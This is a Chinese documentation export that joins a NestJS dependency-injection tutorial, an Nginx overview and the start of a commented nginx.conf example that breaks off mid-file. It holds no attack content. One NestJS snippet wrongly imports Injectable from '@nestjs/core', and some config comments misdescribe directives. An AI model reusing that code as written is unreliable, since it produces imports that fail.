要把某个注入的依赖标记为“可选”，只需在构造函数中使用 `@Optional()` 装饰器即可。

这个装饰器的作用是：**如果 Nest 找不到这个提供器，就不会抛出异常，而是注入 `undefined`**。这时你可以手动在类中处理默认值逻辑。

```ts
import { Injectable, Optional, Inject } from '@nestjs/common';

@Injectable()
export class HttpService<T> {
  constructor(@Optional() @Inject('HTTP_OPTIONS') private httpClient: T) {}
}
```

在这个例子中，`HttpService` 接受一个泛型的 `httpClient` 实例作为构造参数，但它是**可选的**。如果容器中没有绑定 `HTTP_OPTIONS` 这个自定义令牌，Nest 会注入 `undefined`，不会报错。

注意两点：

* 需要用 `@Inject('HTTP_OPTIONS')` 明确指定注入令牌（因为它不是类型自动解析）；
* 需要用 `@Optional()` 来容错。

`@Inject()` 与自定义 token 的组合，在注入非类类型（如对象、函数、配置项）时非常常见。当然，它也可以用于注入类类型，但对于类而言，NestJS 更推荐使用**类型注入**的方式，例如：`constructor(private readonly appService: AppService) {}`，这种写法更简洁且能自动推断依赖关系。

## 基于属性的注入{#property-based-injection}

我们之前一直使用的是“**基于构造函数的注入**”（constructor-based injection），即依赖项通过构造函数参数传入。

在某些特定场景下，另一种形式，**基于属性的注入**（property-based injection），可能更合适。
例如：当你有一个类继承自父类，而依赖项实际上只在父类中使用，那么你就不得不在子类中写一堆冗余代码将依赖转发到 `super()`。这时直接在父类属性上注入依赖可以避免这种“构造函数透传”。

NestJS 支持在类的属性上使用 `@Inject()` 装饰器，直接注入对应的提供器。

```ts
import { Injectable, Inject } from '@nestjs/common';

@Injectable()
export class HttpService<T> {
  @Inject('HTTP_OPTIONS') private readonly httpClient: T;
}
```

这里 `HttpService` 的 `httpClient` 属性通过 `@Inject('HTTP_OPTIONS')` 直接注入，无需出现在构造函数中。这种方式**省略了构造函数注入声明**，可以简化继承场景中的代码复杂度。

**注意**：使用自定义 token 时（如 `'HTTP_OPTIONS'`），你必须显式使用 `@Inject()`，Nest 无法自动推断。

如果你的类不扩展其他类，通常最好使用基于构造函数的注入。构造函数明确指定了需要哪些依赖，与使用 `@Inject` 注释的类属性相比，它提供了更好的可见性并使代码更易于理解。

NestJS 官方并不推荐将属性注入作为主流方式，除非你**确实需要**绕开构造函数（例如在继承结构复杂时）。

构造函数注入的优势：

* 依赖一目了然（强制声明在构造函数签名中）；
* 避免依赖“悄悄注入”，提升可维护性；
* 有助于自动化测试和 IDE 推断。

**构造函数透传**的冗余感

子类必须接收依赖并手动传递给 `super()`，哪怕自己并不用。

```ts
// common.service.ts
@Injectable()
export class CommonService {
  log(msg: string) {
    console.log(`[CommonService] ${msg}`);
  }
}
```

```ts
// base.service.ts
export class BaseService {
  constructor(protected readonly common: CommonService) {}

  protected report(message: string) {
    this.common.log(message);
  }
}
```

```ts
// user.service.ts
@Injectable()
export class UserService extends BaseService {
  constructor(common: CommonService) {
    super(common); // 👈 必须转发，哪怕这里只是继承用
  }

  findUser() {
    this.report('User found');
  }
}
```

`UserService` 根本不关心 `CommonService`，但却必须在构造函数中声明并传给 `super()`，显得臃肿、容易出错，维护成本也更高。

**基于属性的注入，消除透传**

依赖只注入到基类，子类完全不用管，结构更清爽。

```ts
// base.service.ts
import { Inject } from '@nestjs/common';
import { CommonService } from './common.service';

export class BaseService {
  @Inject(CommonService)
  protected readonly common: CommonService;

  protected report(message: string) {
    this.common.log(message);
  }
}
```

```ts
// user.service.ts
import { Injectable } from '@nestjs/common';

@Injectable()
export class UserService extends BaseService {
  findUser() {
    this.report('User found');
  }
}
```

`UserService` 不需要知道也不关心 `CommonService`；

清晰表达依赖**只存在于基类**；

更符合“关注点分离”（Separation of Concerns）原则。

::: tip 补充

**类继承**允许一个类（子类）**复用**另一个类（父类）中的代码（属性、方法），从而实现代码复用、逻辑共享和行为扩展。

**继承的主要作用**

| 作用                     | 说明                                                            | 示例                                   |
| ------------------------ | --------------------------------------------------------------- | -------------------------------------- |
| **代码复用**             | 不用重复写相同逻辑                                              | 多个子类共用一个 `log()` 方法          |
| **公共逻辑抽象**         | 把通用操作集中在父类维护                                        | 统一错误处理、权限校验                 |
| **行为扩展（override）** | 子类可改写父类方法，保留核心逻辑的同时定制行为：`super.log()` | `handle()` 方法在每个服务中有不同实现  |
| **分层架构、模块抽象**   | 把逻辑结构分清楚，比如 BaseController、AbstractService 等       | 让团队开发更有规范性                   |
| **统一接口规范**         | 父类可定义公共接口，子类必须实现                                | 使用抽象类和抽象方法实现类似接口强约束 |

```ts
// 抽象父类：
export abstract class AuditableService {
  logChange(entityName: string, action: string) {
    console.log(`[Audit] ${entityName} ${action}`);
  }
}
```

```ts
// 子类继承父类，复用方法：
@Injectable()
export class UserService extends AuditableService {
  createUser() {
    this.logChange('User', 'created');
  }
}

```

:::

## 提供器注册{#provider-registration}

当你定义了一个服务类（提供器，例如 `CatsService`），并希望在控制器（如 `CatsController`）中使用它，Nest 需要知道这个服务的存在。
你必须**将服务注册到模块的 `providers` 数组中**，Nest 才能将其实例注入到依赖它的类中。

这是依赖注入系统的入口：**告诉 Nest “我要注入谁”**。

```ts
import { Module } from '@nestjs/common';
import { CatsController } from './cats/cats.controller';
import { CatsService } from './cats/cats.service';

@Module({
  controllers: [CatsController],
  providers: [CatsService],
})
export class AppModule {}
```

`providers`: 所有想要注入到其他地方的服务，都必须注册在这里；

`controllers`: 控制器也必须显式注册，Nest 才能解析它们。

此结构会告诉 Nest：当你要创建 `CatsController` 的实例时，它依赖的 `CatsService` 已经在容器中可用。

此时，我们的目录结构应如下所示：

```ts
src
├── cats
│   ├── dto
│   │   └── create-cat.dto.ts
│   ├── interfaces
│   │   └── cat.interface.ts
│   ├── cats.controller.ts
│   └── cats.service.ts
├── app.module.ts
└── main.ts
```

实践建议：

* `cats` 目录聚合所有猫相关代码，形成清晰的模块边界；
* 拆分 `dto` 和 `interfaces` 有助于结构化数据处理与接口契约；
* 每个功能模块可拥有自己的 controller、service、module，形成**领域划分**。

## 手动实例化{#manual-instantiation}

Nest 通常**自动实例化和注入**依赖，无需你操心。但在以下特殊情况下，你可能希望**手动获取服务实例**：

* 在 `main.ts` 引导函数中访问服务（如配置服务、初始化逻辑）；
* 动态创建模块或服务；
* 你正在构建 NestJS 的“插件系统”或“运行时模块”；

**你可以通过注入 `ModuleRef` 类手动获取某个已注册的提供器**：

```ts
import { Injectable, ModuleRef } from '@nestjs/core';

@Injectable()
export class ManualService {
  constructor(private moduleRef: ModuleRef) {}

  async doSomething() {
    const catsService = await this.moduleRef.resolve(CatsService);
    catsService.findAll();
  }
}
```

`moduleRef.resolve()` 会从 Nest 容器中取出实例，适用于动态场景下的依赖获取。

**在 bootstrap() 中访问提供器（独立应用场景）**

```ts
async function bootstrap() {
  const app = await NestFactory.create(AppModule);

  const configService = app.get(ConfigService); // 手动获取配置服务

  await app.listen(3000);
}
```

这非常常见，尤其是你需要在启动期间读取配置、连接数据库、注册全局中间件时。

大部分业务服务注册使用 `@Injectable()` + 模块中的 `providers` 数组，在构造函数中注入依赖使用类型注入，特殊启动场景访问服务（如 ConfigService）使用 `app.get()`，动态或懒加载服务实例使用 `ModuleRef.resolve()`

**总结**：NestJS 的依赖注入默认是自动的，但你仍然可以在必要时通过 `ModuleRef` 或 `app.get()` 进行**手动控制**，这提供了灵活性但要谨慎使用。

从技术上讲：只要你注入了 `ModuleRef`，你就可以在任何地方动态解析其他提供器（服务类），但是滥用ModuleRef会导致：模块之间高耦合、失去边界等.....

所以，**它只适合那些真的需要“动态”或“懒加载”的特殊场景**。

| 场景                                 | 是否推荐使用 `ModuleRef.resolve()` | 说明                                             |
| ------------------------------------ | ---------------------------------- | ------------------------------------------------ |
| ✅ 动态选择服务实现（策略模式）       | ✔️ 推荐                             | 根据用户请求或配置决定注入哪个服务               |
| ✅ 懒加载重型服务（仅用时才实例化）   | ✔️ 推荐                             | 比如生成报表、调用外部服务，避免启动时全部初始化 |
| ✅ 插件系统（运行时加载新模块）       | ✔️ 推荐                             | 动态加载某插件模块并调用其服务                   |
| ✅ CLI 脚本 / 定时任务脚本            | ✔️ 可用                             | 独立调用服务执行任务逻辑                         |
| ❌ 普通业务逻辑中替代构造函数注入     | ❌ 不推荐                           | 会造成依赖隐蔽，破坏架构规范                     |
| ❌ 控制器中直接调用其他服务（非解耦） | ❌ 不推荐                           | 应该通过构造函数注入依赖，不要“偷取服务”         |

**场景：根据用户角色动态选择处理器**

定义两个服务实现

```ts
@Injectable()
export class AdminProcessor {
  process() {
    console.log('Admin 处理逻辑');
  }
}

@Injectable()
export class UserProcessor {
  process() {
    console.log('User 处理逻辑');
  }
}
```

写一个动态服务管理器（用 `ModuleRef`）

```ts
@Injectable()
export class ProcessorManager {
  constructor(private readonly moduleRef: ModuleRef) {}

  async handle(role: 'admin' | 'user') {
    const ServiceClass = role === 'admin' ? AdminProcessor : UserProcessor;
    const instance = await this.moduleRef.resolve(ServiceClass);
    instance.process();
  }
}
```

控制器调用

```ts
@Controller()
export class AppController {
  constructor(private readonly manager: ProcessorManager) {}

  @Get('/process/:role')
  async handle(@Param('role') role: 'admin' | 'user') {
    await this.manager.handle(role);
  }
}
```

访问 `/process/admin` 就会输出 `Admin 处理逻辑`，这个服务是 **按需实例化的**。

**场景：懒加载大内存服务**

假设你有一个服务在启动时很重，但实际只在运行时偶尔用：

```ts
@Injectable()
export class PdfRenderService {
  constructor() {
    console.log('PDF 引擎初始化中... 🐌');
  }

  render() {
    return '已生成 PDF 文件';
  }
}
```

使用懒加载：

```ts
@Injectable()
export class ReportService {
  constructor(private readonly moduleRef: ModuleRef) {}

  async generateReport() {
    const pdfService = await this.moduleRef.resolve(PdfRenderService);
    return pdfService.render();
  }
}

```

好处：启动时不会初始化 `PdfRenderService`，直到你 `generateReport()` 才加载。

---

---
url: /nginx/index.md
---
# README
## Ngnix 特点

**模块化设计**：Nginx 采用模块化架构，核心功能精简，额外功能通过模块扩展，方便按需定制和灵活升级。

**高可靠性**：Nginx 使用主控进程（Master Process）和工作进程（Worker Process）模式管理。主控进程负责管理、监控和热更新配置，而 Worker 进程负责处理请求。如果某个 Worker 出现故障，主控进程会立即重启它，保证服务持续可用。

**低内存消耗**：得益于异步事件驱动模型，即便面对大量长连接（如 Keep-Alive），Nginx 的内存占用也非常低。例如，一万个长连接仅需约 2.5MB 内存。

**支持热部署**：Nginx 可以在不中断服务的情况下，更新配置文件、切换日志文件或升级服务器程序，实现零停机部署。

**高并发能力**：基于异步非阻塞架构，Nginx 可以高效处理大量并发请求。官方数据显示，每秒可支持数万级并发连接。

**功能丰富**：提供强大的反向代理、负载均衡、缓存、SSL/TLS 终端代理等功能。支持多种负载均衡策略（如轮询、加权轮询、最少连接等），满足复杂业务场景需求。

**灵活的扩展与集成**：Nginx 可以与第三方模块、Lua 脚本、以及其他应用服务无缝集成，实现动态请求处理和自定义功能。

**高性能静态内容服务**：在处理静态文件时，Nginx 具备极高的效率，减少磁盘 I/O 和内存消耗，是高性能网站的理想选择。

## Nginx 功能

**高性能静态资源服务**：Nginx 可以作为 Web 服务器，高效处理静态文件（如 HTML、CSS、JS、图片等），性能优异，响应迅速。

**反向代理与负载均衡**：支持 HTTP、SMTP、POP3 等协议的反向代理，提供请求缓存、负载均衡等功能，提高后端服务的可用性与扩展性。

**支持 FastCGI（FPM）**：可与 PHP-FPM 等 FastCGI 后端集成，实现动态内容处理。

**模块化扩展与过滤器支持**：通过模块可扩展功能，例如文本压缩（gzip）、SSL/TLS 加密、图像大小调整等。

**内置健康检查**：可以自动监控后端服务的健康状态，剔除异常节点，提高系统稳定性。

**虚拟主机支持**：基于域名或 IP 地址配置虚拟主机，实现同一台服务器部署多个网站。

**定制访问日志**：可根据需求灵活记录访问日志，便于分析和监控。

**平滑升级与热部署**：支持在不停止服务的情况下更新配置、替换程序，保证业务连续性。

**长连接（Keep-Alive）支持**：保持客户端连接，提高请求响应效率，减少 TCP 握手开销。

**URL 重写**：支持灵活的 URL 重写规则，实现友好链接、跳转和访问控制。

**路径别名**：可通过 `alias` 指令实现路径映射，方便静态资源管理。

**访问控制**：支持基于 IP、用户名或密码的访问限制，增强安全性。

**流量控制**：支持传输速率限制、并发连接数限制，防止单个客户端占用过多资源，提高整体稳定性。

**缓存机制**：支持内容缓存，减少后端请求压力，加快响应速度。

**多种负载均衡策略**：如轮询、加权轮询、最少连接等，可根据业务场景灵活选择。

**SSL/TLS 支持**：内置加密传输功能，可安全地处理 HTTPS 请求。

**动态请求处理**：可通过第三方模块或 Lua 脚本实现自定义请求处理逻辑。

**监控与统计**：通过日志和状态模块，可以实时监控请求、流量和性能指标。

## Nginx 性能

**高并发处理能力**：Nginx 基于事件驱动和异步非阻塞架构，能够高效处理大量并发连接。官方测试显示，单台服务器可支持约 5 万并发连接；在实际生产环境中，通常可稳定支撑 2-3 万并发连接。

**低内存占用**：即使面对大量非活跃的 HTTP Keep-Alive 连接，Nginx 的内存消耗也极低。例如，10,000 个非活跃连接仅占用约 2.5MB 内存；在 3 万并发连接下，10 个 Nginx 进程总内存消耗约 150MB。

**高吞吐量**：得益于事件驱动模型和多进程架构，Nginx 可以在低资源消耗下处理大规模请求，保持高吞吐率。

**实测性能**：如淘宝 Tengine 团队测试，在 24GB 内存的服务器上，通过优化配置，Nginx 可处理高达 200 万级并发请求，展示了其在大规模业务场景下的卓越性能。

**高效静态资源服务**：Nginx 对静态资源请求的处理速度极快，可充分发挥操作系统内核的文件缓存机制，减少磁盘 I/O，提高响应效率。

**优化扩展性**：支持多 Worker 进程和多线程模块，可根据 CPU 核数灵活调整，并与负载均衡、缓存机制结合，进一步提升整体系统性能。

**可维护性和监控**：配合访问日志、状态模块和第三方监控工具，能够实时了解系统负载、连接数和流量情况，便于性能优化与问题排查。

## Ngnix 架构

![1761983826612.png](https://img.yumgjs.com/2025/11/01/6905bd5576bf2.png)

**Nginx 的主从架构与模块流水线**

* **主从架构（Master-Worker 模式）**
  Nginx 采用“一主多从”的架构设计：

  * **Master 进程**：通常以 root 身份启动（因为监听 80/443 等低端口需要管理员权限），主要负责启动和管理 Worker 进程、加载配置文件、管理平滑升级等系统级操作。Master 本身不直接处理请求。
  * **Worker 进程**：由 Master 启动，负责具体请求的处理和业务逻辑执行。Worker 进程可使用普通用户身份运行，提高系统安全性。

* **模块流水线机制**
  Nginx 的功能模块采用流水线方式协作处理请求：

  * 一个用户请求经过多个模块，每个模块专注完成自己的任务，然后将结果交给下一个模块。
  * 示例流程：
    1. 第一个模块解析请求头。
    2. 第二个模块查找数据或缓存。
    3. 第三个模块进行内容压缩。
    4. 最终将处理后的结果返回给客户端。
  * 这种模块化、流水线式处理，使得请求处理高效且易于扩展。

* **热部署机制**
  Nginx 支持平滑更新配置或模块而不中断服务：

  1. Master 进程检测到配置文件或模块修改后，加载新配置，但不会立即影响正在工作的 Worker。
  2. 当前 Worker 继续使用旧配置处理现有请求。
  3. Worker 完成当前请求后退出，由 Master 启动新的 Worker，新的 Worker 使用最新配置。

  * 这种方式保证了配置更新或模块升级过程中，服务能够持续稳定运行，无需停机。

* **安全与性能结合**
  Master 以 root 启动但不处理请求，Worker 以非特权用户运行处理请求。这样既保证了低端口绑定的权限要求，也提升了整体系统的安全性和稳定性。

## sendfile 机制

* **Sendfile 的概念**
  传统的文件传输流程是：

  1. 用户发起请求，进入内核。
  2. 内核将请求交给应用进程（如 Nginx Worker）。
  3. 应用进程读取文件内容到用户空间，再把数据传回内核进行 TCP/IP 封装，最后发送给客户端。

  这个过程中，数据在 **内核空间 ↔ 用户空间** 之间多次复制，增加了 CPU 开销和内存占用。

* **Sendfile 机制的优势**
  Nginx 引入 **sendfile** 技术后：

  * 数据无需经过用户空间，直接在 **内核空间** 从文件系统读取并通过 TCP/IP 发送到客户端。
  * 避免了传统方式中“应用层封装 → 内核层封装”的重复数据拷贝，显著降低了 CPU 使用率，提高传输效率。
  * 对静态资源（如图片、视频、HTML、CSS、JS 文件）传输尤其高效，是高并发场景下的核心优化手段。

* **实际应用**

  * 高并发 Web 服务、静态文件服务器普遍采用 sendfile 模式。
  * 配合 Nginx 的异步非阻塞架构，sendfile 能最大化减少内存占用和 CPU 消耗，使服务器在处理海量请求时依然稳定高效。

* **总结一句话**
  **Sendfile 机制就是让内核直接传输文件数据，绕过应用层，从而减少不必要的数据复制开销。**

```mermaid
graph TD
    send_request[发送请求] --> KERNEL[KERNEL]
    KERNEL -- TCP/IP首部封装 --> tcp_encap[TCP/IP首部封装]

    KERNEL -- 调用进程 --> user_process[用户进程]
    KERNEL -- 请求数据 --> user_process
    user_process -- 返回数据 --> KERNEL
    user_process -- 封装报文 --> KERNEL
```

## I/O 复用机制

**通信模型**
Nginx 的高性能关键在于 **I/O 复用机制**，它允许单个或少量的进程同时处理大量连接，避免每个连接都创建一个线程或进程，从而大幅降低资源消耗。

**开发模型与事件机制**

* **开发模型**：Nginx 在不同操作系统上使用不同的底层事件模型：
  * Linux 上主要使用 **epoll**
  * BSD/macOS 上主要使用 **kqueue**
* **支持的事件机制**：包括 kqueue、epoll、rt signals、/dev/poll、event ports、select 和 poll 等。
* **kqueue 特性**：如 EV\_CLEAR（事件清除）、EV\_DISABLE（禁用事件）、NOTE\_LOWAT（低水位通知）、EV\_EOF（连接关闭通知）、可用数据数量、错误代码通知等。

**文件和网络优化**

* 支持 **sendfile、sendfile64、sendfilev**，实现内核直接传输文件数据，提升静态资源传输效率。
* 支持 **AIO（异步文件 I/O）**，提高文件读取和写入性能。
* 支持 **DIRECTIO**，避免页缓存，提高大文件处理效率。
* **Accept-filters / TCP\_DEFER\_ACCEPT**：在客户端发送完整请求前，不触发 accept()，减少无效连接占用，提高并发处理能力。

**技术背景**

* I/O 复用涉及 **网络通信模型**（BIO、NIO、AIO）和 **多线程/多进程模型**的知识。
* 通过事件驱动机制，Nginx Worker 可以在单线程中处理数万个并发连接，结合 sendfile、AIO 等技术，实现高并发、高性能服务。

**总结**
I/O 复用机制是 Nginx 高并发能力的核心，结合异步事件驱动和内核级优化，使它能够在低资源消耗下稳定处理大量连接。

## Nginx 负载均衡

Nginx 的负载均衡策略可以分为两大类：**内置策略**和**扩展策略**。

* **内置策略**
  * 包括 **加权轮询（weighted round-robin）** 和 **IP Hash**。
  * 这些策略在默认情况下被编译进 Nginx 核心模块，无需额外安装模块，只需在配置文件中指定即可生效。
  * 作用示例：
    * 加权轮询：根据服务器权重分配请求，使高性能服务器承担更多负载。
    * IP Hash：根据客户端 IP 地址分配请求，实现会话保持（Sticky Session）。
* **扩展策略**
  * 包括 **公平调度（fair）**、**通用 Hash**、\*\*一致性 Hash（consistent hash）\*\*等。
  * 这些策略通常需要通过第三方模块扩展，不会默认编译进 Nginx 内核。
  * 扩展策略可根据特定业务需求，实现更灵活或特定场景下的负载均衡，例如流量平滑分配、分布式缓存请求路由等。
* **源码分析背景**
  * 由于 Nginx 的负载均衡模块在各版本中代码变化较小，分析稳定版源码（如 **Nginx 1.0.15**）可以较好理解其内部实现原理。
  * 从源码角度，负载均衡策略主要涉及请求分发逻辑、上游服务器状态管理、权重计算及会话保持机制等。

### 加权轮询

处理一次请求的流程图

![1761984444834.png](https://img.yumgjs.com/2025/11/01/6905bfc0d2ef8.png)

**基本原理**
加权轮询是在传统轮询（Round Robin）的基础上，引入权重的概念，使高性能服务器能够承担更多请求。每台后端服务器被分配一个权重值（weight），Nginx 根据权重分配请求。

**Nginx 的实现特点**

1. **深度优先（先深搜索）算法**
   * Nginx 在加权轮询中采用类似“先深搜索”的策略：
     * 优先将请求分配给权重较高的服务器。
     * 随着请求的分配，高权重服务器的“剩余权值”逐渐下降，当其权值低于其他服务器时，才开始分配请求给下一个高权重服务器。
   * 这种策略能够充分利用高性能服务器的处理能力，提高整体吞吐量。
2. **后端服务器全部失效处理**
   * 当所有后端服务器都被标记为 down（不可用）时，Nginx 会立即将所有服务器的状态重置为初始状态。
   * 这样做的目的是避免所有服务器同时被 timeout 标记，导致前端请求阻塞，从而保障整个服务的可用性。

**优点**

* 简单高效，易于理解和配置。
* 对高性能服务器自动分配更多请求，提高系统吞吐量。
* 配合健康检查机制，能够动态调整请求分配，保证服务连续性。

**适用场景**

* 后端服务器性能差异较大时。
* 请求量较大，但请求处理时间相对均衡的 Web 服务。

### IP Hash

**概念**
IP Hash 是 Nginx 内置的负载均衡策略之一，通过客户端 IP 地址计算哈希值，将同一个 IP 的请求始终分配到同一台后端服务器。

**特点**

* 实现会话粘滞（Sticky Session），确保同一用户在多次访问中落到同一台服务器。
* 配置简单，无需额外模块。

**适用场景**

* 需要保持用户会话一致性的 Web 服务（如购物车、用户登录等场景）。

### Fair（公平调度）

**概念**
Fair 是 Nginx 的扩展负载均衡策略，默认未编译进核心模块。

**原理**

* 根据后端服务器的响应时间动态评估负载，将请求分配给当前负载最轻的服务器。

**特点**

* 自适应性强，能根据实时响应情况调整请求分配。
* 由于实际网络环境复杂（网络延迟、突发请求等），该策略在某些场景下可能效果不如预期，需要谨慎使用。

### 通用 Hash 与 一致性 Hash

* **通用 Hash（Generic Hash）**
  * 简单实现，可以使用 Nginx 内置变量（如 `$request_uri`、`$remote_addr` 等）作为哈希 key。
  * 请求分配较均匀，但当后端服务器数量变化时，哈希映射会产生大量迁移，导致缓存失效。
* **一致性 Hash（Consistent Hash）**
  * 引入一致性哈希环（Consistent Hash Ring），服务器增减时仅影响部分 key 的映射。
  * 适合分布式缓存场景（如 Memcached、Redis），能够尽量减少缓存命中率下降。
  * 相比通用 Hash，更稳定，适合动态扩缩容的环境。

## Nginx 场景

Ngnix 一般作为入口负载均衡或内部负载均衡，结合反向代理服务器使用。以下架构示例，仅供参考，具体使用根据场景而定。

### 入口负载均衡架构

```mermaid
graph LR
    subgraph Nginx_入口负载均衡
        访客((访客)) -- 访问 --> 浏览器[浏览器]
        浏览器 -- 请求 --> Nginx服务器[Nginx服务器]
        Nginx服务器 -- 分发 --> 应用服务器A[应用服务器A]
        Nginx服务器 -- 分发 --> 应用服务器B[应用服务器B]
    end
```

Ngnix 服务器在用户访问的最前端。根据用户请求再转发到具体的应用服务器或二级负载均衡服务器（LVS）

### 内部负载均衡架构

```mermaid
graph LR
    subgraph Nginx_内部负载均衡
        访客((访客)) -- 访问 --> 浏览器[浏览器]
        浏览器 -- VIP --> LVS[LVS]
        LVS -- DR --> Nginx1[Nginx]
        LVS -- DR --> Nginx2[Nginx]
    end
```

LVS 作为入口负载均衡，将请求转发到二级 Ngnix 服务器，Ngnix 再根据请求转发到具体的应用服务器。

### 高可用

```mermaid
graph LR
    subgraph Nginx_高可用
        访客((访客)) --> 浏览器[浏览器]
        浏览器 -- VIP --> Nginx_master[Nginx_master]
        浏览器 -- VIP --> Nginx_salve[Nginx_salve]

        Nginx_master --- keepalived --- Nginx_salve

        Nginx_master --> 应用服务器A[应用服务器A]
        Nginx_master --> 应用服务器B[应用服务器B]
        Nginx_salve --> 应用服务器A
        Nginx_salve --> 应用服务器B
    end
```

分布式系统中，应用只部署一台服务器会存在单点故障，负载均衡同样有类似的问题。一般可采用主备或负载均衡设备集群的方式节约单点故障或高并发请求分流。

Ngnix 高可用，至少包含两个 Ngnix 服务器，一台主服务器，一台备服务器，之间使用 Keepalived 做健康监控和故障检测。开放 VIP 端口，通过防火墙进行外部映射。

DNS 解析公网的 IP 实际为 VIP。

## Nginx 本体的两大官方版本

| 版本类型                    | 发布方                       | 特点                                                     | 适合人群                 |
| --------------------------- | ---------------------------- | -------------------------------------------------------- | ------------------------ |
| **Nginx Open Source (OSS)** | F5 / Nginx 官方（nginx.org） | 免费、开源；稳定、主流；功能齐全                         | 绝大多数用户（包括你我） |
| **Nginx Plus (商业版)**     | F5 公司                      | 商业授权；内置高级模块（负载均衡、健康检查、状态监控等） | 企业、云厂商、大流量环境 |

* **Nginx OSS** 是所有衍生版本的基础。
* **Nginx Plus** 在 OSS 之上加入专有模块，但不开源。

## 第三方增强版 / 衍生版

这些是社区或公司在官方 Nginx 基础上扩展出来的“增强发行版”。

| 名称                          | 基于                     | 特点                                            | 典型场景                                   |
| ----------------------------- | ------------------------ | ----------------------------------------------- | ------------------------------------------ |
| **OpenResty**                 | Nginx + LuaJIT           | 嵌入 Lua 脚本引擎，可在请求中动态执行逻辑       | 动态反向代理、API 网关、A/B 测试、灰度发布 |
| **Tengine**                   | Nginx (淘宝开发)         | 增强性能 + 模块系统 + 请求统计 + 动态配置       | 国内大厂使用较多（淘宝、阿里云）           |
| **OpenLiteSpeed / LiteSpeed** | 自主实现（非基于 Nginx） | 高性能 HTTP/3 服务器，兼容 Apache 配置          | 虚拟主机面板、个人网站                     |
| **NGINX Unit**                | Nginx 官方团队           | 新一代应用服务器（直接运行 PHP、Python、Go 等） | 替代 PHP-FPM、gunicorn 等                  |
| **kong**                      | 基于 OpenResty           | API 网关系统（带插件机制）                      | 微服务、API 网关                           |

**小结**：

**OpenResty → Lua 脚本化扩展能力最强。**

**Tengine → 性能增强、国内用得多。**

**Kong → 网关产品化程度最高。**

**Unit → 更像 Nginx 的后继实验项目。**

## Linux 发行版维护的打包版本

各个操作系统维护的“系统包版”也是一种“发行分支”，它们往往改了路径、编译参数：

| 系统                      | 包名                 | 路径特征                                 | 备注                           |
| ------------------------- | -------------------- | ---------------------------------------- | ------------------------------ |
| **Debian / Ubuntu**       | `apt install nginx`  | `/etc/nginx`, `/usr/share/nginx/modules` | 使用动态模块机制               |
| **CentOS / AlmaLinux**    | `yum install nginx`  | `/etc/nginx`, `/usr/lib64/nginx/modules` | FPM 打包，支持 systemctl       |
| **OpenWRT / Alpine**      | `opkg install nginx` | `/etc/nginx`, `/usr/lib/nginx/modules`   | 精简模块集，轻量级系统用       |
| **宝塔面板 / Oneinstack** | 源码编译版           | `/www/server/nginx`                      | 自定义路径、内置常用第三方模块 |

## 选择建议（按用途）

| 场景                      | 推荐                           |
| ------------------------- | ------------------------------ |
| 个人网站 / 小项目         | **官方 Nginx OSS（或宝塔版）** |
| 企业负载均衡 / 集群       | **Nginx Plus** 或 **Tengine**  |
| 动态代理 / API 网关 / Lua | **OpenResty** 或 **Kong**      |
| 多语言应用统一服务        | **NGINX Unit**                 |
| 嵌入式设备 / 路由器       | **Alpine / OpenWRT Nginx 包**  |

**Nginx OSS 是根。**

**Tengine、OpenResty、Kong** 是它的“进化分支”。

**Nginx Plus / Unit** 是官方自己的“商业 & 实验方向”。

***

**市面上绝大多数现代 Web 服务器（尤其是反向代理 / 网关型）确实都以 Nginx OSS 为底座，只是在此基础上做了不同程度的功能增强或集成。**

---

---
url: /nginx/4nqd1hkl/index.md
---
## 配置文件实例

```nginx
#定义 nginx 运行的用户和用户组
user www www;

#nginx 进程数，建议设置为等于 CPU 总核心数。
worker_processes 8;

#nginx 默认没有开启利用多核 CPU, 通过增加 worker_cpu_affinity 配置参数来充分利用多核 CPU 以下是 8 核的配置参数
worker_cpu_affinity 00000001 00000010 00000100 00001000 00010000 00100000 01000000 10000000;

#全局错误日志定义类型，[ debug | info | notice | warn | error | crit ]
error_log /var/log/nginx/error.log info;

#进程文件
pid /var/run/nginx.pid;

#一个 nginx 进程打开的最多文件描述符数目，理论值应该是最多打开文件数（系统的值 ulimit -n）与 nginx 进程数相除，但是 nginx 分配请求并不均匀，所以建议与 ulimit -n 的值保持一致。
worker_rlimit_nofile 65535;

#工作模式与连接数上限
events
{
    #参考事件模型，use [ kqueue | rtsig | epoll | /dev/poll | select | poll ]; epoll 模型是 Linux 2.6 以上版本内核中的高性能网络 I/O 模型，如果跑在 FreeBSD 上面，就用 kqueue 模型。
    #epoll 是多路复用 IO(I/O Multiplexing) 中的一种方式，但是仅用于 linux2.6 以上内核，可以大大提高 nginx 的性能
    use epoll;

    ############################################################################
    #单个后台 worker process 进程的最大并发链接数
    #事件模块指令，定义 nginx 每个进程最大连接数，默认 1024。最大客户连接数由 worker_processes 和 worker_connections 决定
    #即 max_client=worker_processes*worker_connections, 在作为反向代理时：max_client=worker_processes*worker_connections / 4
    worker_connections 65535;
    ############################################################################
}

#设定 http 服务器
http {
    include mime.types; #文件扩展名与文件类型映射表
    default_type application/octet-stream; #默认文件类型
    #charset utf-8; #默认编码

    server_names_hash_bucket_size 128; #服务器名字的 hash 表大小
    client_header_buffer_size 32k; #上传文件大小限制
    large_client_header_buffers 4 64k; #设定请求缓
    client_max_body_size 8m; #设定请求缓
    sendfile on; #开启高效文件传输模式，sendfile 指令指定 nginx 是否调用 sendfile 函数来输出文件，对于普通应用设为 on，如果用来进行下载等应用磁盘 IO 重负载应用，可设置为 off，以平衡磁盘与网络 I/O 处理速度，降低系统的负载。注意：如果图片显示不正常把这个改成 off。
    autoindex on; #开启目录列表访问，合适下载服务器，默认关闭。
    tcp_nopush on; #防止网络阻塞
    tcp_nodelay on; #防止网络阻塞

    ##连接客户端超时时间各种参数设置##
    keepalive_timeout  120;          #单位是秒，客户端连接时时间，超时之后服务器端自动关闭该连接 如果 nginx 守护进程在这个等待的时间里，一直没有收到浏览发过来 http 请求，则关闭这个 http 连接
    client_header_timeout 10;        #客户端请求头的超时时间
    client_body_timeout 10;          #客户端请求主体超时时间
    reset_timedout_connection on;    #告诉 nginx 关闭不响应的客户端连接。这将会释放那个客户端所占有的内存空间
    send_timeout 10;                 #客户端响应超时时间，在两次客户端读取操作之间。如果在这段时间内，客户端没有读取任何数据，nginx 就会关闭连接
    ################################

    #FastCGI 相关参数是为了改善网站的性能：减少资源占用，提高访问速度。下面参数看字面意思都能理解。
    fastcgi_connect_timeout 300;
    fastcgi_send_timeout 300;
    fastcgi_read_timeout 300;
    fastcgi_buffer_size 64k;
    fastcgi_buffers 4 64k;
    fastcgi_busy_buffers_size 128k;
    fastcgi_temp_file_write_size 128k;

    ###作为代理缓存服务器设置#######
    ###先写到 temp 再移动到 cache
